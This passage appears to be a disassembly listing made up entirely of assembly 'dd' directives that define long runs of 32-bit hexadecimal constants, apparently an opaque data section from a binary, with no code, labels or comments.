		dd 88684B7Dh, 9380CFEEh, 8F0322F5h, 0D868B416h,	11632C1Fh
		dd 0DA9860BFh, 9E3F2A6Ch, 56D908D8h, 0FC853900h, 498746D8h
		dd 54C48419h, 605CCCA1h, 666C61Ch, 0F53F1680h, 0FFDE4921h
		dd 0F1E04C71h, 0FAC30094h, 117FAA15h, 807D54EEh, 0A63918B1h
		dd 0D46090EAh, 0C54090AEh, 8583C488h, 0DB8C00F8h, 0EC797C3Ah
		dd 202DCCA1h, 0B7886B38h, 35454B14h, 883C8BB8h,	0A85FC015h
		dd 2021835h, 22D2048Ch,	4084A0D8h, 93F0ACDCh, 180CD1E8h
		dd 902878A5h, 781CB1DCh, 1863203h, 88550741h, 0E076AC3Eh
		dd 0A0999C4Dh, 83282294h, 0D22FB255h, 46746h, 29B24CDCh
		dd 0D8054516h, 1B086B0Ch, 0D6785080h, 0F04005A0h, 814A236Fh
		dd 10D8659Ch, 508C5701h, 9079D0EDh, 24C4650h, 39CCDA46h
		dd 10E9311Bh, 0EEDD2E24h, 4158031Ah, 56AB9E84h,	0E4B4848Dh
		dd 5E54F86Ch, 74035BECh, 0C55131A3h, 3F6E989Fh,	5D8B47Ch
		dd 0B08AE71Ch, 74005674h, 3D976AA0h, 0A07D684Eh, 7E362ED0h
		dd 2260B22Ah, 0A81631F7h, 3C472D5Dh, 0E0B32F19h, 5EF6A84Bh
		dd 1ABA28E2h, 88F701DCh, 9C7402D6h, 0EA698076h,	292E0E7Dh
		dd 1C20E9BAh, 0C15F0130h, 42480CE4h, 0CCABE96Ah, 7373F9A0h
		dd 0CB7DFA0Eh, 0C030CFD4h, 0C1388865h, 0CA450064h, 0DF9C79A2h
		dd 4F1EA340h, 3000A171h, 0EC782F20h, 1DE000F6h,	50D926Dh
		dd 0CB0075FBh, 0AD7406CCh, 0BA226h, 0A1B162B9h,	3FB4E36Ah
		dd 2A7F55E8h, 0CCE10E01h, 6E2F5D67h, 3CD8D2D2h,	0AC5047C2h
		dd 5EF89451h, 12001046h, 0B6916368h, 7613E343h,	54120C74h
		dd 2DB6C60h, 154D3F47h,	9D12B80h, 0BC8C9C7Bh, 5D271890h
		dd 2248233Ch, 1E682BFh,	3DC10287h, 314C54h, 6AA64447h
		dd 0B6DFB664h, 0F0467638h, 9BF90176h, 8CA90E89h, 7AD86854h
		dd 9C13F72Ch, 31ED215Eh, 0B8891380h, 4C4E54F8h,	6D019807h
		dd 1E3B6353h, 48BC6C83h, 0EDB41C44h, 0D83DB8F2h, 22E4638h
		dd 0E0545C2Ch, 17103159h, 615C14F0h, 88CB5065h,	0F5D93075h
		dd 0C410F689h, 0A5174F00h, 6E9B643h, 416E002Bh,	0F8E637F3h
		dd 49D35358h, 9BF1008Dh, 7209D062h, 6063AA64h, 64688CA1h
		dd 0A1FB640h, 7F02B340h, 4855054h, 0DA456049h, 133925CDh
		dd 27002C16h, 4BFEDD2Dh, 6E69E42h, 0A4E721A1h, 735260D1h
		dd 30EAE228h, 833C7D38h
		dd 0CE3C12D6h, 0FF2264A0h, 2C24EFF1h, 90F4543Fh, 0A5DE0147h
		dd 0E0ECA903h, 61AC64D0h, 0B0E2B15h, 0D2470580h, 8840A420h
		dd 0AE18440h, 2D5E7CFBh, 0D0AEE41Eh, 406E3C03h,	0D5747001h
		dd 59F812D0h, 0D38F4838h, 533CD097h, 211281B8h,	0CCC80B2Eh
		dd 0F9A11FDFh, 0F3C46A3h, 0FF0BE03Eh, 23AF1E38h, 0C45E23F4h
		dd 470088EDh, 666796F2h, 2B25084Fh, 0EDA00B4Ah,	1ABC0DCh
		dd 0C400E7C9h, 0CCB6DB0Ch, 10901Fh, 0ADE12F11h,	5E5044A2h
		dd 9E143A48h, 0D760EC45h, 64D39C05h, 0EBF214B3h, 4FF7FD30h
		dd 3C882156h, 0C0F2A2Ah, 311C84DAh, 252164A4h, 20406087h
		dd 0DB0FE16Eh, 99050B0Dh, 8095E958h, 0C894801Ch, 76222D0Bh
		dd 0DE802065h, 0AB97B21Eh, 14EBEC27h, 0DC04B1F8h, 409FDA84h
		dd 0FF8405B6h, 263F2C1Bh, 14923D98h, 821C4034h,	13EDD29h
		dd 0B5525907h, 8208C61h, 959C5C80h, 7A562420h, 7828201Dh
		dd 0A70B2CDEh, 0CA9AD496h, 870C4B8h, 0D620EC74h, 19BC3E0Ch
		dd 12BD0E97h, 0C1E036F4h, 8AF9CE24h, 8618D304h,	14815CA4h
		dd 1FE5B84Eh, 0F8254469h, 80519424h, 1A7BCB92h,	32549000h
		dd 3B3102D2h, 0CFD1297h, 574C03B7h, 7802E1D0h, 28A7BAB0h
		dd 80466D3h, 0EE40BF02h, 0D3FE6E0Eh, 0F223902Fh, 25A8ED16h
		dd 85337101h, 4A41E6A1h, 3203C424h, 0A4DF9030h,	12E04C00h
		dd 871FB12Bh, 5CD3E81Ah, 3082CC20h, 3CD005A4h, 0E021D219h
		dd 86C5319h, 0C086DAC1h, 54E8501Ch, 0F8328722h,	5C3F101Eh
		dd 0FAEE80A4h, 19552FAAh, 252DE000h, 638FB376h,	3F961D84h
		dd 0A5B9C24Eh, 50E64A9Dh, 0E3391B1Ch, 5CC13680h, 4ED53BB3h
		dd 0AB982C49h, 5432D889h, 5165CA00h, 9C67694Dh,	15A9BA0Ch
		dd 0A80FE0C7h, 0A92123F0h, 86D48318h, 1FFB02F9h, 1E4EE01Ch
		dd 0E545FCD0h, 1EFF1930h, 2BEA88Ch, 1F8D6FEBh, 5D5BA0F8h
		dd 0DAD2A800h, 412CF53h, 2BE7E139h, 525CC027h, 98BC57F8h
		dd 0D44E4740h, 6EB080F7h, 0E8BBAE02h, 0DA7381C0h, 0FAD4264h
		dd 229862B7h, 584A64D8h, 0EC63E824h, 0C1E76366h, 0D9010DC2h
		dd 0D7F2EF0Ch, 0ECEC54C6h, 53053D41h, 0A0929300h, 3772EEEh
		dd 0B7523A00h, 0B550AF3Fh, 7A4DB8A3h, 0D0C24CD1h, 9BCE3E80h
		dd 0C0024A13h, 955D70E8h, 39D0513Dh, 8025DF2Dh,	6824E4D8h
		dd 0ECC04DE8h, 0C8A25590h, 0E3C70562h, 0A2D2DEBAh, 4C6E0808h
		dd 0A4F80705h, 0BA2E420Dh, 4E4E4C5h, 8F34BC60h,	0B8FA6FF2h
		dd 9612B177h, 6420C0F5h, 1B91C2ABh, 0C0BECA76h,	30587AE2h
		dd 465C0CBCh, 952D0E0Bh, 386800C0h, 90A011A4h, 2F6D1258h
		dd 88B8A34Ch, 4201CF56h, 3C4510B7h, 12144C68h, 0A84144DFh
		dd 5BFB392Dh, 0E0903180h, 832B916Ah, 7F006670h,	338B1EDh
		dd 26F8697h, 31BF3C2Fh,	3C933047h, 0D490587Fh, 5891A202h
		dd 58ED79B0h, 31421830h, 5B576125h, 465C6CB4h, 0D56601E5h
		dd 3812C0B8h, 0F8F29B31h, 0E7EB2274h, 0CC3276FEh, 0C26218E6h
		dd 78A051B0h, 178631EDh, 50E677Dh, 0D1382DF8h, 0E6E8AF4Ch
		dd 30E2B801h, 820F1826h, 89E94E5Bh, 16612CD1h, 0B3405C2Ah
		dd 4C806E27h, 75805034h, 20AFB70h, 982B11Ch, 0D7AE2B00h
		dd 0AC1118h, 0EAD953EFh, 0F2186BAh, 18585744h, 9837D264h
		dd 1B089C76h, 25D696B3h, 46434E5h, 0F02B3B61h, 12004BFFh
		dd 20445DB8h, 41D774D2h, 82A86956h, 72284Eh, 22E1B758h
		dd 0BCB45F26h, 38CCDF93h, 0F871402Fh, 0F497E8B6h, 1E8D86B0h
		dd 0EFEC7B3h, 24805D76h, 42E5680Eh, 64EB2104h, 0ACD3D846h
		dd 3CB0B0BDh, 0B85858FFh, 4812C900h, 0E71CD3FBh, 1447820h
		dd 64E67156h, 209674E0h, 40CFA78Ch, 140E46DAh, 505D6390h
		dd 5ED36DE2h, 6E53C00Eh, 0B5926FB7h, 6F6600A4h,	3C06D69Bh
		dd 8CB9241Eh, 6E2301D8h, 60E5AE57h, 0EE021CA8h,	9CA18053h
		dd 0F8805098h, 6C90A9D0h, 4ADAC0h, 3AD4CC6Eh, 0CB544473h
		dd 941DB301h, 0B64E3DB9h, 6F535980h, 18F47583h,	882CE648h
		dd 5C25C037h, 2121E04Bh, 2D176003h, 5B007D5Ch, 6FBB2B44h
		dd 0B031E560h, 32392094h, 4A440098h, 0A9BE6040h, 0D92E685Ch
		dd 50779112h, 8E3BA004h, 0DABD04ACh, 28EF930h, 0DE6CF8CCh
		dd 2FC34594h, 401019C1h, 485F02BCh, 9C3FE1C0h, 2E572EA7h
		dd 41A827EDh, 0A7E2B02Bh, 44946750h, 300860D1h,	0A8805D86h
		dd 9B7C503h, 47E256D3h,	72CA10E9h, 8CDB4A1Ch, 0FAC53981h
		dd 0B3F98046h, 1C36F083h, 2D1903DFh, 0FBE4237Fh, 9909DEC6h
		dd 85FCE8D4h, 6C53E07Ch, 0EEC8A88Ah, 4C6F56C0h,	19F7195h
		dd 3F64DC8Ah, 3B145576h, 0C7173C48h, 5773BCDh, 5CF24625h
		dd 30C51987h, 0ED512E86h, 64931B4Bh, 40AAA853h,	0CA090BEAh
		dd 44016249h, 403F1EFBh, 0F72A2C60h, 34B14726h,	0D366D90Eh
		dd 72AFF891h, 12D39C24h, 1FEBDD64h, 6A9D1FA8h, 37C409ECh
		dd 48D1DA5Fh, 6D180F79h, 4C5AC238h, 0FC4278h, 0C9F974B8h
		dd 7C6D4975h, 87E40035h, 0D9B79114h, 6B291713h,	571384Bh
		dd 3C337218h, 0A458D81Bh, 0E292A8F8h, 30D4B224h, 909836C7h
		dd 0A2E65825h, 7E82ABCh, 9DC8B28Fh, 2D597450h, 0EC3C17A4h
		dd 7CD0AC25h, 0E1C144h,	0D6DE72CBh, 2CFEC9D7h, 1D2DCC17h
		dd 4051FC0Eh, 0FEB400Bh, 554A0746h, 79A339CFh, 0AE450E5h
		dd 509EEC60h, 0AAC2D000h, 0D432C672h, 8C099F28h, 53600082h
		dd 376E4F01h, 2B4EAC26h, 320610E4h, 0DB4B7FC0h,	47053CD6h
		dd 7E662661h, 21E03882h, 0C25B3E09h, 35971CECh,	0E1EE00E8h
		dd 0A83F28F9h, 0E0163F98h, 2809500Dh, 0C45CE55Bh, 95E60D1h
		dd 58521321h, 30B090D8h, 0AF7256ADh, 28200098h,	8B124BFDh
		dd 0C5F0C824h, 0E5CC0086h, 0D7C6745Dh, 5302AF0Bh, 0F8DA3Fh
		dd 6D9A131Bh, 46BC4B80h, 588C3E4Ah, 0C2124BB8h,	7220D034h
		dd 11824E0h, 7D753AF1h,	0D9739F82h, 80032EE3h, 8A21DAD3h
		dd 3220592Dh, 28495D08h, 3565E128h, 7A182028h, 1CB81498h
		dd 600C0295h, 250CF850h, 60E2D023h, 0CAA25C64h,	361D7852h
		dd 0CFC0F51Dh, 12A85A9h, 0B9B87414h, 18F0D1D4h,	0A13A04AEh
		dd 854DE3B1h, 984C916Bh, 0ECF2D679h, 276D520h, 2190572Bh
		dd 1CE8E0BFh, 0BF703Fh,	477AF430h, 98B9480Bh, 61C48878h
		dd 0A562961Bh, 58E0A140h, 1E38EC50h, 1871D8E3h,	2184F0B4h
		dd 8C0857DFh, 0DD342D2h, 0BDC0100Ah, 2F1D9C60h,	942096C0h
		dd 8F64D433h, 0A0A4E94Dh, 6061B7h, 0EBC83B58h, 9D7439F3h
		dd 31D0A602h, 76FA184Eh, 0FDE48888h, 0C5699C2Ch, 60F2E4B8h
		dd 0F39D340h, 4F98B9E6h, 2034E548h, 9FE004E6h, 4D023E02h
		dd 15980A08h, 6BACE15Ch, 8C4AC820h, 0C2DA4402h,	590F4B39h
		dd 2C26400Ch, 9049DDDh,	0D98D6C92h, 470BECBDh, 8EF664B3h
		dd 1B18CC1Fh, 0B232C81h, 65301721h, 780B7400h, 36064EECh
		dd 37645E54h, 0E8F80029h, 0CB9C492Ah, 0E41661B5h, 8CE32C21h
		dd 8AC66204h, 0E91C809Bh, 0E6E8AA74h, 33C0EECh,	0F7B20017h
		dd 72060C3Eh, 12023A89h, 63087130h, 2E196261h, 3D83E31h
		dd 11CF0D0h, 9CFF411Bh,	0E021E69Eh, 0E1E7DEBh, 33A28DAh
		dd 94232AFAh, 310A62Dh,	0C991B6D2h, 0F8C0A5E0h,	674A6B64h
		dd 48E91C80h, 29FC51h, 0BD5FDD44h, 0F338F1CCh, 0B819E4Ch
		dd 48FB6139h, 41A9FE0h,	40030134h, 893CF4B7h, 0DC76CD75h
		dd 0BA3E47EAh, 29909CAFh, 83807D5Dh, 0C22FD017h, 0D731C3E3h
		dd 8AD038C0h, 8CC0DE29h
		dd 32C593FBh, 6AC701B4h, 8EA6D868h, 7D7065AAh, 763D16A0h
		dd 0E862B101h, 0A0E411C9h, 28E6002Ch, 2F9415D0h, 8D181F95h
		dd 11B15CFBh, 1A8A00BCh, 6ACB82C9h, 93D3CB8h, 0A82A007Dh
		dd 0BA20D3Fh, 5A79BDh, 61D04D30h, 0BCD2B399h, 0E4E13827h
		dd 983B00E8h, 96939B0h,	3E3C0EF0h, 4B10287h, 0D422FEB6h
		dd 0F1544050h, 7600FB29h, 9D17705Eh, 3DF3742h, 221ADE5h
		dd 10D04128h, 0C600F074h, 0B047CCE6h, 1BB2586h,	0FF2F82E4h
		dd 0D49567B6h, 290B7BDAh, 13E8830h, 7F644749h, 4EBDCC40h
		dd 0E0F700EBh, 15DF7708h, 1C075306h, 0E479EC0Fh, 0C413BE47h
		dd 0F177C10Ch, 0A508A0D2h, 609A15EDh, 0E8B4315Dh, 50609F1Bh
		dd 305F5E10h, 4804ACAFh, 10608967h, 6B1FFBE5h, 0BF216360h
		dd 6D850DCh, 69F3F043h,	0F430090Ah, 0EC1F2024h,	0C5790353h
		dd 0EE68B434h, 0D1361900h, 6AD7CCEAh, 79410021h, 1DF5C60Bh
		dd 0F000DA0Ch, 0BC4A4543h, 0C0DB0D7Eh, 626A989h, 29006698h
		dd 81CDB738h, 391062E1h, 97A8D250h, 8CE80658h, 116AB4D5h
		dd 6FB5BE00h, 0C4764844h, 80DF3390h, 2100AC08h,	66F3D9Fh
		dd 0FEF958DDh, 0A9BE61E9h, 87D90D7Fh, 854D7459h, 80EDE0B3h
		dd 0A35A55h, 99E27C6Ah,	0DD57F5C7h, 4F94CB00h, 5885E868h
		dd 0FBDB1529h, 0DD80981Ch, 0D843D550h, 0F222F043h, 53714A7Eh
		dd 48904501h, 0DC84F464h, 418A7DDDh, 80CC1757h,	370D58A9h
		dd 0CD0093B4h, 28990E8Fh, 7DD67Fh, 4B84AC02h, 112B8B32h
		dd 0FCE95C60h, 3EFE0C0Bh, 3A2EAD66h, 5950214Eh,	0C618F4h
		dd 1D3D7B76h, 0C5B42065h, 0B65D40h, 0E7F8548h, 886E865Ah
		dd 0AD76C203h, 72F64F0h, 2A46D0B9h, 0BF41B2ABh,	0C7D19CC0h
		dd 211D6130h, 2A19F2h, 8D4E6F83h, 48A6ADB7h, 64F9411Ch
		dd 5F84007Ch, 4B859167h, 2CFA0120h, 4506331h, 0FD45093h
		dd 0C70FA201h, 320F716h, 0E31E9F2Ch, 0D6210008h, 0B88DA1FAh
		dd 71072BA4h, 0CFF1EE87h, 0A08F6872h, 0F82FD784h, 0F8F8956Ah
		dd 5B0D1100h, 0A5365D88h, 689F6C5h, 3CE2F2F0h, 8B0930FCh
		dd 2A856AB1h, 0E0114044h, 476FA680h, 448C7E48h,	3A3F9E93h
		dd 3D5D006Fh, 28B4774Bh, 2A26EA25h, 8C1564h, 0B0B8245Bh
		dd 0FB52BEC8h, 6F289500h, 4FEEEC0Dh, 4D7D00C5h,	45633A09h
		dd 860C3432h, 608BFBB6h, 0E6E30362h, 0DD3EADD5h, 7A77509Eh
		dd 23CC58F3h, 0A37E2A3Fh, 141129h, 192A1AE3h, 0C0ABB1DCh
		dd 3C9538B9h, 7D1D4189h, 3500B511h, 0F79D685Ah,	661300BAh
		dd 0CBBCF8Ah, 0A60A8525h, 0E455C944h, 8A4864B8h, 0A58DFE02h
		dd 4F70E044h, 90B28E18h, 0F874F211h, 62100E85h,	0E5842B8Dh
		dd 0D6F4888Ch, 6FA8028Ch, 0D00E47FDh, 0B49C0016h, 6931466Fh
		dd 61C3DE0Dh, 8898CF7Ah, 0AEC9BF6h, 928F4B11h, 0A5511E8h
		dd 842D45ADh, 7FC39080h, 28D8061Fh, 34B42B31h, 3A908D0Fh
		dd 9723FCh, 0A6F1CA32h,	867BB3A4h, 7C91A806h, 0F9A10DA9h
		dd 2A059C42h, 776011E8h, 0E882652Ah, 31940D30h,	6C648h
		dd 592A15F9h, 17621310h, 632E9CA0h, 40E24684h, 4814498Ch
		dd 0B09CC8AEh, 196F50A0h, 480FD9A4h, 0FE198069h, 0DFCDB088h
		dd 6598A1ABh, 73E28027h, 0D0A7C5E3h, 84A96596h,	0A68DD50Ah
		dd 484184AEh, 2023FDC9h, 0BA41AD31h, 8F2FCC75h,	2CF17F00h
		dd 0FAF3E0DBh, 82D202A3h, 22658B59h, 61E6E0A1h,	947F4D0h
		dd 0F086F500h, 8C4B346Fh, 0ADFCF5F6h, 62CA2408h, 83EF1190h
		dd 0DAB42A45h, 10163119h, 52A1CE5h, 0B26D94AEh,	494049Fh
		dd 39B7078Ch, 591E6610h, 21589823h, 0DB810CAEh,	0C711E1A1h
		dd 0D0880418h, 76A11DECh, 5C0AC029h, 0C24032B3h, 8863C326h
		dd 84AEB60Ah, 0E07EA38Fh, 10D618E6h, 8F8E00FEh,	0F5C1634Ch
		dd 21014B92h, 2D49DC20h, 0FFEC96ADh, 0EA498ACh,	4C507075h
		dd 46EC3D00h, 266345AEh, 0C04E90D9h, 522D2B5Ah,	0AB12FC5Dh
		dd 948A0FC6h, 20F2AC81h, 3A62EC02h, 0CF01C49Bh,	0E716DDA1h
		dd 0EC880718h, 53A100F0h, 4CA6EF97h, 24B2C4B4h,	0DD88900h
		dd 0EA12FBAEh, 98DC037Ch, 0A88B4E47h, 4100D5E3h, 3274C023h
		dd 714CB95Ah, 94CF002Ch, 0A2DF6106h, 632B36C8h,	0FD01B4B4h
		dd 0D711DBA1h, 0EA880318h, 38A101D6h, 7643E5ABh, 7B5873A9h
		dd 1442B800h, 98EFDA01h, 349B0A9Fh, 0C95BEAh, 0BD1D07D0h
		dd 6A01CD57h, 0ACE4B7DCh, 98705D27h, 0C7028C46h, 0C843F750h
		dd 10E819F1h, 0EC53DF20h, 1047CCCh, 80F198D4h, 50250DADh
		dd 5B95F9C8h, 0AA609279h, 3B0914B9h, 0BFFA094Fh, 8A8A565h
		dd 28A96094h, 0AF000F5Ah, 0F2C46484h, 1FE479ADh, 0D23BBB59h
		dd 4F4C4043h, 0A45DD4AEh, 589338E0h, 40EC56BFh,	1651DC94h
		dd 0DAA40CA0h, 0EBEF88h, 0E0CAD4A1h, 75DFDC32h,	5B2B8813h
		dd 0F6901C27h, 0C8A524h, 0DC5A85EAh, 0C6797343h, 9C26FBEEh
		dd 215EECD1h, 0D4875EC1h, 3850C52Ah, 7ACC6ECh, 3C9BDC16h
		dd 0A4187B7Bh, 0F9073FE9h, 0A99F6091h, 1E36CAF0h, 0A7740053h
		dd 4C236E24h, 0C8A8B868h, 1800392Bh, 1A492E27h,	54026BF1h
		dd 307D2C5Bh, 68F9DF0Dh, 540C5721h, 4011716h, 0B4905E8h
		dd 0C4C14F1Bh, 6FD680B8h, 0D600FFA7h, 537BBD33h, 59ECEA5h
		dd 0D80BCAF9h, 0E7F8D3ABh, 5C628126h, 47CCED40h, 3C4C006Dh
		dd 0F0AE7A66h, 90003DC2h, 0E1F7330h, 4DC7EA25h,	242E0CBAh
		dd 24501150h, 440E862h,	9988B65h, 4186BE3Ah, 31BB2491h
		dd 0B6F842A7h, 0A800F0C4h, 0E386D6C4h, 76E0F7h,	0E8F6C8EAh
		dd 52CCE7F4h, 8DD9BE00h, 17C9E661h, 63FD3A50h, 0AC30ACAEh
		dd 1C465EFCh, 584F6500h, 0BB8ABF28h, 0E7DB0A0Eh, 73F4F595h
		dd 2364B800h, 0D98C37F6h, 8C85831h, 20903D8Bh, 0C200CB8Dh
		dd 3AB520EDh, 4A32BFE4h, 0A7204068h, 190C8F44h,	0DB7A5E00h
		dd 5699055h, 47AE0C98h,	0F729F541h, 8D7431F8h, 39FD6D00h
		dd 56777EA9h, 0D1B22C23h, 98465EA0h, 0C91DC003h, 0FCB0D284h
		dd 0A89AF20Ch, 23202500h, 3F632D3Ch, 2C5601BCh,	0EFAAF73Eh
		dd 0B8B82CDAh, 9F008CE6h, 2F5F4F09h, 1D29598h, 5BFDA3CAh
		dd 501F6523h, 0B13D37B8h, 0C76DD003h, 88389515h, 30345C01h
		dd 2C1C4671h, 8207AA49h, 0FE3B7E58h, 0B0D40170h, 0A7250128h
		dd 1BDE6BA5h, 4B2C2CFCh, 0FBE49F81h, 162B6185h,	66DC46C2h
		dd 0E600C190h, 72EB81FCh, 1CFB05B6h, 806E84F4h,	1A6F7CF8h
		dd 0F8B8707Eh, 4FC82806h, 0D9C568h, 45219804h, 0B9DEEF15h
		dd 0E005FBE2h, 0ABA47C8Dh, 8B2CFC40h, 0D7F2F6h,	0CE3CACAEh
		dd 2E82D603h, 39A78605h, 34C0027Fh, 6B64E2Ch, 0D6F38C5Eh
		dd 0D00F026h, 12B99F0Bh, 2C4D63DAh, 25B82BA7h, 6FD49C20h
		dd 0C1022ED1h, 0E3711112h, 8AF4810Dh, 0E44473B4h, 0D984F8C5h
		dd 0FCAE8004h, 3FD8C8h,	0CE53E3BDh, 2D92E7E4h, 1F3CA400h
		dd 0A85DC869h, 85440135h, 0E1EAC016h, 3E48EC77h, 331A531Ch
		dd 0EE2B000h, 0EBBB07h,	0F1B925DDh, 0E9E7E61Dh,	7827D83Eh
		dd 2C7918C0h, 2B7FFD0Dh, 61204BFEh, 0E646D2h, 0FFDA8F4Ah
		dd 32D4FD0h, 793D0A04h,	0DC00658Dh, 0FD4E4308h,	0A6CDFEh
		dd 83EC3722h, 0A9C907AEh, 20A5ED74h, 54800218h,	83741BAh
		dd 4F3B1214h, 8CCF80ECh, 7F0504BBh, 65413D24h, 26781680h
		dd 5381F293h, 1BFED9E8h, 4143915h, 47086534h, 48B98042h
		dd 0A0A135B8h, 71B50F0h, 0CC6F45D6h, 718DF0F8h,	792854C4h
		dd 6D57E8CDh, 0A816E004h
		dd 76E7C2Fh, 19B39F8Ch,	0F4AD0EFh, 7403EAE0h, 45CFA811h
		dd 98A1DB16h, 6F8F8DCDh, 8470298Eh, 0F042DD42h,	60218FAh
		dd 20922487h, 80CEAF29h, 3E88F3DCh, 125E8895h, 88978088h
		dd 3F88F4A8h, 85A898Bh,	0B49044C2h, 86A22284h, 40792660h
		dd 73750Ch, 0B6E945FBh,	0BF12DC9Dh, 0CCED4277h,	0B003E31h
		dd 67B0608Bh, 0EBB62FF7h, 44C360h, 47331FD9h, 18CB3B42h
		dd 75146E01h, 0A757EBD6h, 3591E0h, 300D6D0Bh, 2F96681Ch
		dd 0ED592E00h, 725A38E4h, 3FCA0050h, 0F46684C4h, 650033C9h
		dd 360E81A1h, 25797Fh, 13F14164h, 30806DC6h, 54EBF03h
		dd 365C756h, 18649E1Ah,	2FF328B2h, 74905ED0h, 0BFD0771Ch
		dd 0B94F8780h, 4B9472h,	0ED170E46h, 31EB0A8Fh, 2BA1DE03h
		dd 0C0B77424h, 1D5532h,	18D9FEE4h, 0B2FFB18Fh, 68C0DA09h
		dd 0E086003Eh, 0E003726Eh, 12C40733h, 0F55B91BEh, 796180B6h
		dd 92607838h, 52AEC016h, 86B704E2h, 0C5E30A99h,	7BDC8125h
		dd 7A30204Eh, 3E8C1554h, 2A7D0100h, 0E8E328E7h,	462B0034h
		dd 8C80CF10h, 0C00029D7h, 5E20A73h, 388A3ACh, 59E3FF61h
		dd 5FD08294h, 4C0193F3h, 9A818BA7h, 11822F1Eh, 0E3FE6E3Ch
		dd 0CA145FE0h, 0DF4DD412h, 0FB6F7001h, 0CFE884BCh, 75580FE7h
		dd 4C803122h, 85EED694h, 5F6B0D06h, 1D18243Bh, 6DAF5B8Eh
		dd 657CCD58h, 950D50Ch,	208F58E6h, 6C0EEA91h, 202DCF6Eh
		dd 0EE8B051Ah, 79CC00E3h, 89DD1E5h, 0AE00A917h,	0EFCA4B86h
		dd 2348Ah, 5D90A60Ah, 66B509FCh, 0EB4F7900h, 0D59247CAh
		dd 0FE71D69h, 0DD3B80B9h, 971AC440h, 0BAD4DC00h, 0E40E8055h
		dd 71F10194h, 0ABE30BADh, 1800DB3Ah, 0F285A7E5h, 7CCFEFCh
		dd 0E43BDA57h, 9E6BC062h, 3300D5F8h, 0DF91B718h, 1DA00E7Dh
		dd 80F27915h, 8F4BBA71h, 0C5003473h, 0E039B4B3h, 75315FF6h
		dd 6E820A23h, 3AE453E2h, 9DC17000h, 919A7B2Ah, 59898A03h
		dd 90EFC2E1h, 3AAC0A75h, 1E80B778h, 724A774Bh, 5700F2F4h
		dd 0BC01437Ch, 566E23h,	6FD810D1h, 74B7D42Eh, 9D000674h
		dd 8FBB571Fh, 37BE628h,	1D96F97Eh, 0D0E7E517h, 0EBC6BCE9h
		dd 860D9A00h, 3ED812E1h, 277856h, 0B2DD9A9h, 7897CF67h
		dd 71D7BB00h, 5B2AC6F0h, 8E891CFFh, 389F40D5h, 0E088DAA9h
		dd 0F0456728h, 29910214h, 35570020h, 0FE8DBF90h, 49E2002Bh
		dd 0BD1E2866h, 0C100B41Dh, 0BA84D543h, 0CD1727Dh, 0B2380F0Dh
		dd 0D8004E48h, 0EDE3F476h, 0E4AECA41h, 1490DBh,	0FBCF708Dh
		dd 0F2FF29EAh, 0F6FE717Eh, 0E4B1DCA0h, 68E68800h, 48B8C6F3h
		dd 0B2C40090h, 18B0864Eh, 0F6500CC7h, 79017CAAh, 0FA15023h
		dd 4180EC99h, 192383Dh,	6C905472h, 0E18A8300h, 8BE2C9A4h
		dd 0A0FF002Ah, 0EA2BD34Dh, 0EB30CC55h, 0D29CE852h, 0F33D0038h
		dd 4C9837F4h, 1E00944Ah, 904961D6h, 3E819C7h, 3FCC96B7h
		dd 21C8932Ah, 0E61607C5h, 1400320Ah, 97204D52h,	37490413h
		dd 80D56302h, 0C361B2E0h, 74DA4F00h, 0E2FD481Dh, 0EE4E02F8h
		dd 2DE89159h, 9918B860h, 7E01750h, 43A76700h, 9D5CC6EEh
		dd 0DCB0094Dh, 30802EBEh, 7B7DE1AEh, 71342A14h,	0B72800A4h
		dd 86FEBFC6h, 0A8750176h, 0D0131EF0h, 4AF9F023h, 0A6426700h
		dd 47F7D92h, 0C5E809h, 22276FB9h, 24890C38h, 5200B598h
		dd 0E83F2B4h, 7D4509F5h, 9B8800D4h, 0FF62344Eh,	0A07426Dh
		dd 548201E8h, 0DAA3B260h, 5380074Bh, 9090F8B1h,	0FB87D259h
		dd 0F62ACB00h, 42C68493h, 0FEF03104h, 409BCF20h, 87DC9CE8h
		dd 0EC3D800h, 0EBD5E9A2h, 4CB1000Ch, 597F82F0h,	0F1007914h
		dd 9EBC2178h, 78BC9B7h,	0FEB39737h, 1F310044h, 0A100582Eh
		dd 7E75E3Ch, 0F6D309h, 2A430C41h, 0CC765513h, 0CD241A00h
		dd 8FFD3DC0h, 0D6F00080h, 7779100Bh, 0E50087F7h, 88B0A664h
		dd 12AF0127h, 474563h, 0F140D2F0h, 4B000F69h, 5977E19Eh
		dd 72B23109h, 7A8400CCh, 1C07B03Ah, 30F11BF1h, 0E3078D7Ch
		dd 97968C68h, 663E7030h, 0C0A002E1h, 0CD043DB3h, 71A4F041h
		dd 28845317h, 0D31B51B8h, 215A970Eh, 0F86C062h,	1DCCF348h
		dd 0DF365E22h, 0E91200EFh, 59E435A9h, 489FEE00h, 0FBC4FE68h
		dd 0F18C0E8h, 21281F6Ch, 1C26F44Ch, 7801F14Ch, 671C2A22h
		dd 6355F4h, 0BD5798D3h,	0D5A41A03h, 52219A0Eh, 60BB07AFh
		dd 73301FD7h, 39C51951h, 100394Dh, 0A244E0C7h, 433E99B1h
		dd 56D5816Ch, 0F80BC814h, 162060E2h, 91770094h,	698E5F15h
		dd 5174B99Ah, 0A45BE53Ch, 0F500368Dh, 6CEFCB72h, 6E0B009Bh
		dd 397F8FDEh, 1800FC50h, 0C4F157C5h, 0B6E7ADh, 0F841A871h
		dd 6C7BCA49h, 7793F900h, 1D1C3587h, 139E008Fh, 0BA19E763h
		dd 463A7C4Dh, 0CFA424D9h, 2CCC8738h, 0A3A14E13h, 0E8435449h
		dd 0B688B80Ah, 3FC30032h, 231720Bh, 2500EA59h, 55106CEBh
		dd 304DAF88h, 0DD401686h, 5D00BDE4h, 0ED7F8B24h, 18E3EA9h
		dd 0B4C8FA2Bh, 40C40335h, 66D4FCE8h, 0EE80ACB1h, 4C22B5D0h
		dd 7D1D033Dh, 6989FA58h, 0CADB4FE0h, 0F78B3903h, 0F867A8EFh
		dd 4C513Fh, 375C167Ah, 0D86245F3h, 0F4C6E002h, 40F5AE93h
		dd 39889EFAh, 7F1EABBFh, 725A7289h, 42101060h, 0BCB8E8F0h
		dd 0F902290Bh, 84E00C0h, 7037FEF4h, 6DFD0371h, 0B09F047Ah
		dd 8CB6D0A0h, 0C602D3E0h, 0A26AE121h, 86646850h, 0CBFE0903h
		dd 5CA0B1CEh, 0EE531473h, 0E29E3900h, 0A5B7C97Eh, 868A4CDEh
		dd 6441C700h, 0E7860E94h, 96FA7500h, 0D961C376h, 9BA70CC8h
		dd 0CCA8194Ah, 7B2BB916h, 5D784820h, 0E5FF005Eh, 0B0B4849Bh
